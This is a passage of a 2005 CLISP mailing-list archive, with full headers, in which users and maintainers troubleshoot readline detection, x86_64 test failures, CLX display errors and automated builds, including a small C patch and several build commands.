mail.sourceforge.net with esmtp (Exim 4.44) id 1DwtQ8-0007Bp-H1 for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 20:14:24 -0700 Received: from sdf.lonestar.org (IDENT:nagelbh@ukato.freeshell.org [192.94.73.7]) by sdf.lonestar.org (8.13.1/8.12.10) with ESMTP id j6P3Di40017478 for ; Mon, 25 Jul 2005 03:13:44 GMT Received: (from nagelbh@localhost) by sdf.lonestar.org (8.13.1/8.12.8/Submit) id j6P3DhnK019272 for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 03:13:43 GMT From: Bruce Nagel To: clisp-list@lists.sourceforge.net Message-ID: <20050725031343.GA11484@SDF.LONESTAR.ORG> References: <20050724203955.GA8425@SDF.LONESTAR.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline problem? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 24 20:16:05 2005 X-Original-Date: Mon, 25 Jul 2005 03:13:43 +0000 On Sun, Jul 24, 2005 at 08:57:35PM -0400, Sam Steingold wrote: > > * Bruce Nagel [2005-07-24 20:39:55 +0000]: > > I seem to be having problems with readline (no command history or > > completion) after compiling 2.34 from source. The Clisp Debian > > package however still works fine. > is readline used by CLISP at all? > (see unixconf.h) The places readline appears in unixconf.h are: /* declaration of filename_completion_function() needs const in the first argument */ /* #undef READLINE_CONST */ /* The readline built-in filename completion function, either rl_filename_completion_function() or filename_completion_function() */ /* #undef READLINE_FILE_COMPLETE */ /* have a working modern GNU readline */ /* #undef HAVE_READLINE */ I'm not really familiar with C, and so I'm not too sure of the meaning of these. I'm imagining they're commented out because they aren't available to the Clisp compile? I do have both the libreadline4 and libreadline5 packages installed, so readline ought to be available. Also, I get errors during the build, though it continues and finishes (even to the point of allowing me to 'make install' without errors, and being able to run the new Clisp from /usr/local/bin/clisp. At one point it stops with: groff -Tdvi -mandoc clisp.1 > clisp.dvi groff: can't find `DESC' file groff:fatal error: invalid device `dvi' make: *** [clisp.dvi] Error 3 And after that with: Dictionary stack: --dict:1049/1123(ro)(G)-- --dict:0/20(G)-- --dict:69/200(L)-- Current allocation mode is local GPL Ghostscript 8.01: Unrecoverable error, exit code 1 make: *** [clisp.pdf] Error 1 And then finishes (running 'make' each time to get it going agan, that is). 'make install' after that succeeds, but the resulting Clisp does not have either command history or command completion. If I try to use --with-readline explicitly with ./configure and ./makemake, I get the error: makemake: configure failed to detect readline I don't know if this is an error in my system setup or in Clisp's compilation procedure. Is there other info I can offer to help clarify? Thanks, Bruce -- nagelbh@sdf.lonestar.org www.not-art.org SDF Public Access UNIX System - http://sdf.lonestar.org The Mouser felt a compulsive urge to take out his dagger and stab himself in the heart. A man had to die when he saw something like that. (Fritz Leiber) From werner@suse.de Mon Jul 25 05:56:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dx2VS-0003U2-Rk for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 05:56:30 -0700 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dx2VS-0002rP-LB for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 05:56:31 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id D6FBAED25 for ; Mon, 25 Jul 2005 14:56:23 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" Message-ID: <20050725125623.GA29162@g31.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Several problems with clisp 2.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 05:57:01 2005 X-Original-Date: Mon, 25 Jul 2005 14:56:23 +0200 Hi, just covered several problems during building clisp 2.34. * modules/queens/link.sh shows an invalid '-I' in the make file arguments: INCLUDES='-I'"$absolute_linkkitdir" * A simple `make check' fails due sacla-tests and ansi-tests IMHO the check should be removed of check the availability of the directories. * The included test fails at (with-accumulating-errors (error-count total-count) (run-test "bind" :eval-method :eval :logname "bind-eval")) within tests.lisp. * The clx demos do not work anymore: I see error like *** - XLIB:DISPLAY-ROOTS: *** - XLIB:CLOSED-DISPLAY-P: *** - XLIB:CLOSED-DISPLAY-P: *** - Unprintable error message The following restarts are available: ABORT :R1 ABORT Break 1 [2]> and even if the xlib functions are used direkt: new-clx/demos> clisp -K full -q [1]> (xlib:open-display "boole.suse.de" :display 0) *** - XLIB:CLOSED-DISPLAY-P: *** - XLIB:CLOSED-DISPLAY-P: *** - XLIB:CLOSED-DISPLAY-P: *** - Unprintable error message The following restarts are available: ABORT :R1 ABORT Break 1 [2]> The display is used over an ssh connection but this should be not visible for clisp due the Xlib does this correct. The build architecture is an x86_64, I've not tested i686/ppc/ppc64/s390/s390x/ia64/alpha. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Mon Jul 25 06:25:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dx2x5-0004pS-6Y for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 06:25:03 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dx2x3-0005I7-Mf for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 06:25:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6PDOr5v009466; Mon, 25 Jul 2005 09:24:54 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050725125623.GA29162@g31.suse.de> (Werner Fink's message of "Mon, 25 Jul 2005 14:56:23 +0200") References: <20050725125623.GA29162@g31.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Several problems with clisp 2.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 06:26:01 2005 X-Original-Date: Mon, 25 Jul 2005 09:24:12 -0400 > * Dr. Werner Fink [2005-07-25 14:56:23 +0200]: > > * modules/queens/link.sh shows an invalid '-I' in the > make file arguments: INCLUDES='-I'"$absolute_linkkitdir" fixed, thanks! (I wonder how many years this modules have not been built :-) > * A simple `make check' fails due sacla-tests and ansi-tests IMHO > the check should be removed of check the availability of the > directories. fixed on 2005-07-22, thanks. > * The included test fails at > > (with-accumulating-errors (error-count total-count) > (run-test "bind" :eval-method :eval :logname "bind-eval")) > > within tests.lisp. alas, this is a known x86_64 issue - non-global special bindings have been fixed, but, apparently, not on all platforms. would you like to work on it? > * The clx demos do not work anymore: I see error like mit-clx or new-clx? > *** - XLIB:DISPLAY-ROOTS: > *** - XLIB:CLOSED-DISPLAY-P: > *** - XLIB:CLOSED-DISPLAY-P: > *** - Unprintable error message > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> > > and even if the xlib functions are used direkt: > > new-clx/demos> clisp -K full -q > [1]> (xlib:open-display "boole.suse.de" :display 0) > > *** - XLIB:CLOSED-DISPLAY-P: > *** - XLIB:CLOSED-DISPLAY-P: > *** - XLIB:CLOSED-DISPLAY-P: > *** - Unprintable error message > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> > > The display is used over an ssh connection but this > should be not visible for clisp due the Xlib does > this correct. wfm. please try to run under gdb. (./configure --build build-g --with-debug --with-module=clx/???-clx) thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Live free or die. From sds@gnu.org Mon Jul 25 06:27:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dx2zR-0004uL-1m for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 06:27:29 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dx2zQ-0005uz-Dz for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 06:27:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6PDREge009801; Mon, 25 Jul 2005 09:27:17 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bruce Nagel Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050725031343.GA11484@SDF.LONESTAR.ORG> (Bruce Nagel's message of "Mon, 25 Jul 2005 03:13:43 +0000") References: <20050724203955.GA8425@SDF.LONESTAR.ORG> <20050725031343.GA11484@SDF.LONESTAR.ORG> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruce Nagel Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline problem? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 06:28:05 2005 X-Original-Date: Mon, 25 Jul 2005 09:26:33 -0400 > * Bruce Nagel [2005-07-25 03:13:43 +0000]: > > /* have a working modern GNU readline */ > /* #undef HAVE_READLINE */ > > makemake: configure failed to detect readline OK, configure failed to detect readline. now please look at build/config.log and try to figure out why readline was not detected. -- Sam Steingold (http://www.podval.org/~sds) running w2k My inferiority complex is the only thing I can be proud of. From werner@suse.de Mon Jul 25 07:09:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dx3eN-00074E-F0 for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 07:09:47 -0700 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dx3eM-00062S-19 for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 07:09:47 -0700 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id D3FFEE892 for ; Mon, 25 Jul 2005 16:09:36 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" Message-ID: <20050725140936.GA2202@wotan.suse.de> References: <20050725125623.GA29162@g31.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Several problems with clisp 2.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 07:10:03 2005 X-Original-Date: Mon, 25 Jul 2005 16:09:36 +0200 On Mon, Jul 25, 2005 at 09:24:12AM -0400, Sam Steingold wrote: > > > * A simple `make check' fails due sacla-tests and ansi-tests IMHO > > the check should be removed of check the availability of the > > directories. > > fixed on 2005-07-22, thanks. Ah ... OK. > > * The included test fails at > > > > (with-accumulating-errors (error-count total-count) > > (run-test "bind" :eval-method :eval :logname "bind-eval")) > > > > within tests.lisp. > > alas, this is a known x86_64 issue - non-global special bindings have > been fixed, but, apparently, not on all platforms. > would you like to work on it? Hmm ... many SuSE Linux users may have a x86_64 system, whereas I can access many other systems around here. Is there a patch available or can I do something within the configuration? > > * The clx demos do not work anymore: I see error like > > mit-clx or new-clx? Clearly the modern new-clx, I like sokoban :) > > *** - XLIB:DISPLAY-ROOTS: > > *** - XLIB:CLOSED-DISPLAY-P: > > *** - XLIB:CLOSED-DISPLAY-P: > > *** - Unprintable error message > > The following restarts are available: > > ABORT :R1 ABORT > > Break 1 [2]> > > > > and even if the xlib functions are used direkt: > > > > new-clx/demos> clisp -K full -q > > [1]> (xlib:open-display "boole.suse.de" :display 0) > > > > *** - XLIB:CLOSED-DISPLAY-P: > > *** - XLIB:CLOSED-DISPLAY-P: > > *** - XLIB:CLOSED-DISPLAY-P: > > *** - Unprintable error message > > The following restarts are available: > > ABORT :R1 ABORT > > Break 1 [2]> > > > > The display is used over an ssh connection but this > > should be not visible for clisp due the Xlib does > > this correct. > > wfm. > please try to run under gdb. > (./configure --build build-g --with-debug --with-module=clx/???-clx) I'll try that. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Mon Jul 25 08:40:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dx54c-0002r4-Ga for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 08:40:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dx54c-0001pe-2U for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 08:40:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6PFeirF001116; Mon, 25 Jul 2005 11:40:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050725140936.GA2202@wotan.suse.de> (Werner Fink's message of "Mon, 25 Jul 2005 16:09:36 +0200") References: <20050725125623.GA29162@g31.suse.de> <20050725140936.GA2202@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Several problems with clisp 2.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 08:41:13 2005 X-Original-Date: Mon, 25 Jul 2005 11:40:03 -0400 > * Dr. Werner Fink [2005-07-25 16:09:36 +0200]: > >> > * The clx demos do not work anymore: I see error like >> >> > *** - XLIB:DISPLAY-ROOTS: >> > *** - XLIB:CLOSED-DISPLAY-P: >> > *** - XLIB:CLOSED-DISPLAY-P: >> > *** - Unprintable error message >> > The following restarts are available: >> > ABORT :R1 ABORT >> > Break 1 [2]> >> > >> > and even if the xlib functions are used direkt: >> > >> > new-clx/demos> clisp -K full -q >> > [1]> (xlib:open-display "boole.suse.de" :display 0) >> > >> > *** - XLIB:CLOSED-DISPLAY-P: >> > *** - XLIB:CLOSED-DISPLAY-P: >> > *** - XLIB:CLOSED-DISPLAY-P: >> > *** - Unprintable error message >> > The following restarts are available: >> > ABORT :R1 ABORT >> > Break 1 [2]> >> > >> > The display is used over an ssh connection but this >> > should be not visible for clisp due the Xlib does >> > this correct. >> >> wfm. >> please try to run under gdb. >> (./configure --build build-g --with-debug --with-module=clx/???-clx) > > I'll try that. you may want to try the appended patch. it will replace the "unprintable error message" with a more meaningful "XLIB::CLOSED-DISPLAY" error. you still need to figure out why the display is invalid. specifically, set a breakpoint in ensure_living_display() and examine "fptr" with "xout" and "zout" (see src/.gdbinit). I bet this is yet another amd64 alignment problem... 1. compare TheStructure() in clisp.h and lispbibl.h (use make to construct both files). 2. test the syscalls module: ./clisp -E utf-8 -q -norc -i ../tests/tests -x '(run-test "syscalls/test")' 3. build the berkeley-db and pcre modules and test them too -- Sam Steingold (http://www.podval.org/~sds) running w2k cogito cogito ergo cogito sum --- clx.f 21 Jun 2005 09:39:28 -0400 2.40 +++ clx.f 25 Jul 2005 11:39:32 -0400 @@ -646,8 +646,8 @@ 'objf' should point into the stack due to GC. */ if (typep_classname (*objf, `XLIB::DISPLAY`)) { /* Is it a display at all? */ object fptr = TheStructure(*objf)->recdata[slot_DISPLAY_FOREIGN_POINTER]; - if (fpointerp(fptr) && fp_validp(TheFpointer(fptr))) - return (TheFpointer(fptr)->fp_pointer != NULL); + return (fpointerp(fptr) && fp_validp(TheFpointer(fptr)) + && (TheFpointer(fptr)->fp_pointer != NULL)); } /* Fall through -- raise type error */ my_type_error(`XLIB::DISPLAY`,*(objf)); From werner@suse.de Mon Jul 25 08:56:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dx5JV-0003TN-Mi for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 08:56:21 -0700 Received: from ns.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dx5JV-0002Sp-8Z for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 08:56:21 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 47422EE72 for ; Mon, 25 Jul 2005 17:56:15 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20050725155615.GA8461@wotan.suse.de> References: <20050725125623.GA29162@g31.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Several problems with clisp 2.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 08:57:02 2005 X-Original-Date: Mon, 25 Jul 2005 17:56:15 +0200 On Mon, Jul 25, 2005 at 09:24:12AM -0400, Sam Steingold wrote: > > wfm. > please try to run under gdb. > (./configure --build build-g --with-debug --with-module=clx/???-clx) This leads to ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" STACK depth: 22389 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 make: *** [interpreted.mem] Aborted Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Mon Jul 25 14:30:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxAXD-0003Dq-BQ for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 14:30:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxAXC-000247-Ou for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 14:30:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6PLUcsn023090; Mon, 25 Jul 2005 17:30:38 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507252149.00007.bruno@clisp.org> (Bruno Haible's message of "Mon, 25 Jul 2005 21:49:00 +0200") References: <200507252149.00007.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 14:31:05 2005 X-Original-Date: Mon, 25 Jul 2005 17:29:57 -0400 > * Nelson H. F. Beebe: > > I have automated procedures (described in Chapter 8 Section 2 of our > recent book: see http://www.oreilly.com/catalog/shellsrptg/) that make > it easy to test software builds in a large number of environments, > currently over 100 on more than 20 flavors of Unix. My log > directories now contain more than 25,000 logs for hundreds of > packages. I was disappointed to find that this automation fails with > clisp, because it pauses with the request > > Configure findings: > FFI: yes > readline: yes > libsigsegv: yes > > To continue building CLISP, the following commands are recommended > (cf. unix/INSTALL step 4): > cd src > ./makemake --with-dynamic-ffi > Makefile > make config.lisp > emacs config.lisp > make > make check > > My site is large, with up to 15,000 user accounts and a broad range of > Unix systems. Automation of builds is essential for me. do ./configure --build build-dir --with-package=.... and all steps will be done automatically; clisp will be built in directory "build-dir" replace "--build" with "--install" to also install. > -rw-r--r-- 1 beebe wheel 900 2005-07-23 08:26 bind-eval.erg alas, known amd64-specific bug in non-top-level special bindings. this is not a regression, this behavior has been there forever. it has been fixed on all 32-bit platforms, but, apparently, not on amd64. > I then tried to start clisp manually, but it immediately fails: > > % clisp > i i i i i i i ooooo o ooooooo ooooo ooooo > I I I I I I I 8 8 8 8 8 o 8 8 > I \ `+' / I 8 8 8 8 8 8 > \ `-+-' / 8 8 8 ooooo 8oooo > `-__|__-' 8 8 8 8 8 > > | 8 o 8 8 o 8 8 > > ------+------ ooooo 8oooooo ooo8ooo ooooo 8 > > Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 > Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 > Copyright (c) Bruno Haible, Sam Steingold 1999-2000 > Copyright (c) Sam Steingold, Bruno Haible 2001-2005 > > > *** - invalid byte #x81 in CHARSET:ASCII conversion > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> . you probably have non-ASCII symbols in pathnames. try "clisp -E foo" where foo is the encoding you use for pathnames. > A similar manual build on GNU/Linux on PowerPC (Yellow Dog Linux > release 2.3 (Dayton)) had no *.erg files created, although the tests > complained: > *** - LOAD: A file with name tests.lisp does not exist fixed in the CVS on 2005-07-22. > On GNU/Linux on IA-64 (Red Hat Linux Advanced Server release 2.1AS > (Derry)), the check immediately fails: > > % nice time make check > ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x > "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" > Cannot map memory to address 0x4000000000000 . > errno = EINVAL: Invalid argument. > ./lisp.run: Not enough memory for Lisp. Bruno will address this. he added IA-64 support in 2.25 (2001-03-15). > On Sun Solaris 10 SPARC 